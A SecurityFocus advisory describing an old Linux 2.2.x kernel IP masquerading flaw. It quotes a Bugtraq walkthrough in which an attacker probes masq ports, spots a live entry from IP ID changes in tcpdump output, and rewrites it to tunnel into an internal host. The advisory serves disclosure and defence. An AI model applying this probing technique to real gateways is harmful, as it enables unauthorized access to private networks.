Multiple Linux Vendor 2.2.x Kernel IP Masquerading Vulnerabilities

A serious vulnerability exists in the IP Masquerading code present in, but not necessarily limited to, the 2.2.x Linux kernel. Due to poor checking of connections in the kernel code, an attacker can potentially rewrite the UDP masquerading entries, making it possible for UDP packets to be routed back to the internal machine.

The IP masquerading code only uses destination ports to determine if a packet from the external network is to be forwarded to the internal network. It then sets the remote host and port in its tables to the source address and port of the incoming packet. The attacker needs to determine the local port on the masq gateway to be able to rewrite the table with their own address and port. As the range of ports used to masquerade connections is small, from 6100 to 65096 for both UDP and TCP, it becomes fairly easy for an external host to determine the ports in use. From the Bugtraq post example section:

"We know that has a linux masquerading gateway and that their
DNS server is outside of this firewall. We can come to the conclusion
that internal machines must be able to contact the external DNS server
to be able to access the internet. We start sending our probe packets:

Host A is our internal workstation (
Host B is our masq gateway ( /
Host C is the DNS server (
Host X is the attacker (

ipchains -L -M -n on the masq gateway BEFORE the probes
> UDP 03:39.21 1035 (63767) -> 53

[ tcpdump from attacker's machine ]

( we picked source port 12345 for our packets just so the trace would be
easier to follow)

[ snip -- this starts at port 61000 ] > icmp: udp port 63762 unreachable [tos 0xd8] (ttl 245, id 13135) > udp 0 (DF) [tos 0x18] (ttl 254, id 23069) > icmp: udp port 63763 unreachable [tos 0xd8] (ttl 245, id 13136) > udp 0 (DF) [tos 0x18] (ttl 254, id 23070) > icmp: udp port 63764 unreachable [tos 0xd8] (ttl 245, id 13137) > udp 0 (DF) [tos 0x18] (ttl 254, id 23071) > icmp: udp port 63765 unreachable [tos 0xd8] (ttl 245, id 13138) > udp 0 (DF) [tos 0x18] (ttl 254, id 23074) > icmp: udp port 63766 unreachable [tos 0xd8] (ttl 245, id 13139) > udp 0 (DF) [tos 0x18] (ttl 254, id 23083) > icmp: udp port 63767 unreachable [tos 0xd8] (ttl 244, id 17205)
The above packet's ID is substantially different, we may have found a masq'd connection !!! > udp 0 (DF) [tos 0x18] (ttl 254, id 23084) > icmp: udp port 63768 unreachable [tos 0xd8] (ttl 245, id 13140) > udp 0 (DF) [tos 0x18] (ttl 254, id 23088) > icmp: udp port 63769 unreachable [tos 0xd8] (ttl 245, id 13141) > udp 0 (DF) [tos 0x18] (ttl 254, id 23090) > icmp: udp port 63770 unreachable [tos 0xd8] (ttl 245, id 13142) > udp 0 (DF) [tos 0x18] (ttl 254, id 23091) > icmp: udp port 63771 unreachable [tos 0xd8] (ttl 245, id 13143) > udp 0 (DF) [tos 0x18] (ttl 254, id 23092) > icmp: udp port 63772 unreachable [tos 0xd8] (ttl 245, id 13144)

[ snip -- all the way to the upper end of our masq ports ]
ipchains -L -M -n on the masq gateway AFTER the probes
> UDP 04:35.12 1035 (63767) -> 12345
^-------[ expiration of the udp tunnel has been updated ;)

w00t! We now have a working tunnel from our host to port 1035 on the
inside machine! "


Privacy Statement
Copyright 2010, SecurityFocus